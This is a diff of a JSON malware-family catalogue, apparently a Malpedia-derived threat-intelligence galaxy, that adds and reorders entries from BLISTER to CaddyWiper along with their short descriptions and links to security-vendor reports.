"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/", "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/", - "https://redcanary.com/blog/intelligence-insights-january-2022/" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [ "COLORFAKE" @@ -15099,13 +16049,42 @@ "uuid": "ecdc0a43-8845-4dc4-a3f0-de2f0142aa4d", "value": "BloodyStealer" }, + { + "description": "BlueFox is a .NET infostealer sold on forums as a Maware-as-a-Service. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber and loader capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluefox", + "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/", + "https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f9f5d767-3460-49f3-94c2-5dd91b341505", + "value": "BlueFox" + }, + { + "description": "Mandiant associates this with UNC4191, this malware is a launcher for NCAT to establish a reverse tunnel.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3dcfef7b-d657-4ac5-b738-ef793237274b", + "value": "BLUEHAZE" + }, { "description": "Ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky", "https://unit42.paloaltonetworks.com/bluesky-ransomware/", - "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/" + "https://yoroi.company/research/dissecting-bluesky-ransomware-payload/", + "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", + "https://cloudsek.com/technical-analysis-of-bluesky-ransomware/" ], "synonyms": [], "type": [] @@ -15118,8 +16097,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether", - "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf" + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf" ], "synonyms": [ "CAPGELD" @@ -15134,12 +16113,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer", - "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", "https://twitter.com/GoSecure_Inc/status/1437435265350397957", - "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer", - "https://decoded.avast.io/anhho/blustealer/", "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" + "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://decoded.avast.io/anhho/blustealer/", + "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer" ], "synonyms": [ "a310logger" @@ -15180,6 +16159,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik", + "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/", "https://decoded.avast.io/martinchlumecky/bobik/" ], "synonyms": [], @@ -15200,6 +16180,20 @@ "uuid": "444ca9d1-7128-40fa-9665-654194dfbe0b", "value": "Bohmini" }, + { + "description": "According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove", + "https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw", + "https://thehackernews.com/2023/01/new-chinese-malware-spotted-exploiting.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4212b386-b6de-4b06-86f1-ba20b5c01447", + "value": "BOLDMOVE (Windows)" + }, { "description": "", "meta": { @@ -15240,26 +16234,32 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "9ff6e087-6755-447a-b537-8f06c7aa4a85", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1b8cfb29-7a63-459a-bc90-c9ea3634b21c", "value": "Bookworm" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boombox", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e8112e1a-4fda-4857-8df8-0ba7fb5ea1ba", + "value": "BOOMBOX" + }, { "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], "type": [] @@ -15272,8 +16272,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/" ], "synonyms": [ "MBRkiller" @@ -15323,39 +16323,34 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "52d9a474-fc37-48b5-8e39-4394194b9573", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "80487bca-7629-4cb2-bf5b-993d5568b699", "value": "Bouncer" }, + { + "description": "According to Checkpoint Research, this malware family has the ability to download and upload files, run commands and send the attackers the results. It has been observed being used by threat actor IndigoZebra.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon", + "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5ccb9d4c-bb9b-48ee-9ea3-a64a81eb210f", + "value": "BoxCaon" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok", - "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe", + "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "cff2e174-52b8-4304-903a-012f97d70b7c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f9d0e934-879c-4668-b959-6bf7bdc96f5d", "value": "Bozok" }, @@ -15377,32 +16372,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.us-cert.gov/ncas/alerts/TA18-149A", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.secureworks.com/research/threat-profiles/nickel-academy", "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://www.us-cert.gov/ncas/alerts/TA18-149A", + "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" ], "synonyms": [ "SORRYBRUTE" ], "type": [] }, - "related": [ - { - "dest-uuid": "4c057ade-6989-11e8-9efd-ab33ed427468", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d97ae60e-612a-4feb-908a-8c4d32e9d763", "value": "Brambul" }, @@ -15485,6 +16471,19 @@ "uuid": "fd4665b8-59b6-427f-a22d-bb3b50e9e176", "value": "BrittleBush" }, + { + "description": "According to Mandiant, BROKEYOLK is a .NET downloader that downloads and executes a file from a hard-coded command and control (C2) server. The malware communicates via SOAP (Simple Object Access Protocol) requests using HTTP.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brokeyolk", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dd19501d-c23e-4a52-8cef-726a8483d6c2", + "value": "BROKEYOLK" + }, { "description": "", "meta": { @@ -15504,37 +16503,57 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader", - "https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later", - "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/", - "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e1ca79ea-5628-4266-bb36-3892c7126ef4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], - "uuid": "75a03c4f-8a97-4fc0-a69e-b2e73e4564fc", - "value": "BrushaLoader" + "uuid": "33b76b3f-7056-4892-a134-6e984f500c3c", + "value": "Bruh Wiper" }, { "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4", - "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader", + "https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later", + "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html", + "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/" ], "synonyms": [], "type": [] }, + "uuid": "75a03c4f-8a97-4fc0-a69e-b2e73e4564fc", + "value": "BrushaLoader" + }, + { + "description": "Brute Ratel is a a Customized Command and Control Center for Red Team and Adversary Simulation\r\n\r\nSMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams and more.\r\nBuilt-in debugger to detect EDR userland hooks.\r\nAbility to keep memory artifacts hidden from EDRs and AV.\r\nDirect Windows SYS calls on the fly.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4", + "https://medium.com/walmartglobaltech/brute-ratel-config-decoding-update-7820455022cb", + "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", + "https://0xdarkvortex.dev/hiding-in-plainsight/", + "https://protectedmo.de/brute.html", + "https://twitter.com/embee_research/status/1580030303950995456?s=20&t=0vfXnrCXaVSX-P-hiSrFwA", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/", + "https://web.archive.org/web/20230216110153/https://yoroi.company/research/hunting-cyber-evil-ratels-from-the-targeted-attacks-to-the-widespread-usage-of-brute-ratel/", + "https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/", + "https://www.youtube.com/watch?v=a7W6rhkpVSM", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities", + "https://blog.spookysec.net/analyzing-brc4-badgers/", + "https://socradar.io/brute-ratel-utilized-by-threat-actors-in-new-ransomware-operations/", + "https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/", + "https://www.splunk.com/en_us/blog/security/deliver-a-strike-by-reversing-a-badger-brute-ratel-detection-and-analysis.html" + ], + "synonyms": [ + "BruteRatel" + ], + "type": [] + }, "uuid": "19e4df44-d469-4903-8999-22d650a21dd7", "value": "Brute Ratel C4" }, @@ -15557,9 +16576,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] @@ -15585,8 +16604,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", - "https://attack.mitre.org/software/S0043/" + "https://attack.mitre.org/software/S0043/", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" ], "synonyms": [], "type": [] @@ -15599,36 +16618,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer", - "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", - "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://twitter.com/SophosLabs/status/1321844306970251265", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", - "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", - "https://blog.minerva-labs.com/stopping-buerloader", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://twitter.com/StopMalvertisin/status/1182505434231398401", - "http://www.secureworks.com/research/threat-profiles/gold-symphony", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", - "http://www.secureworks.com/research/threat-profiles/gold-blackburn", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://blog.group-ib.com/prometheus-tds", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", + "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", + "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "http://www.secureworks.com/research/threat-profiles/gold-symphony", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://twitter.com/StopMalvertisin/status/1182505434231398401", + "https://blog.minerva-labs.com/stopping-buerloader", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", + "https://blog.group-ib.com/prometheus-tds", "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", + "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", + "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", + "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", + "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ @@ -15672,18 +16692,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", + "https://malware-research.org/carbanak-source-code-leaked/", + "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", + "https://www.scythe.io/library/threatthursday-buhtrap", "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", "https://www.group-ib.com/brochures/gib-buhtrap-report.pdf", "https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/", - "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", - "https://www.scythe.io/library/threatthursday-buhtrap", - "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code", - "https://malware-research.org/carbanak-source-code-leaked/", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack", - "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/", - "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/" + "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/", + "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", + "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/" ], "synonyms": [ "Ratopak" @@ -15698,47 +16718,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://www.bleepingcomputer.com/news/security/new-bumblebee-malware-replaces-contis-bazarloader-in-cyberattacks/", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://isc.sans.edu/diary/rss/28636", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/", - "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", - "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", - "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks", - "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - 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"https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", - "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", + "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/" ], "synonyms": [], "type": [] @@ -15856,37 +16897,46 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper", + "https://www.nioguard.com/2022/03/analysis-of-caddywiper.html", + "https://twitter.com/silascutler/status/1513870210398363651", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", "https://n0p.me/2022/03/2022-03-26-caddywiper/", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - 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"https://twitter.com/ESETresearch/status/1503436420886712321", - "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", "https://cert.gov.ua/article/39518", - "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", - "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine", + "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", "https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/", - "https://twitter.com/silascutler/status/1513870210398363651", + "https://cert.gov.ua/article/3718487", "https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html", + "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", + "https://twitter.com/HackPatch/status/1503538555611607042", + "https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/", + "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-caddywiper", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://twitter.com/ESETresearch/status/1503436420886712321", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html", 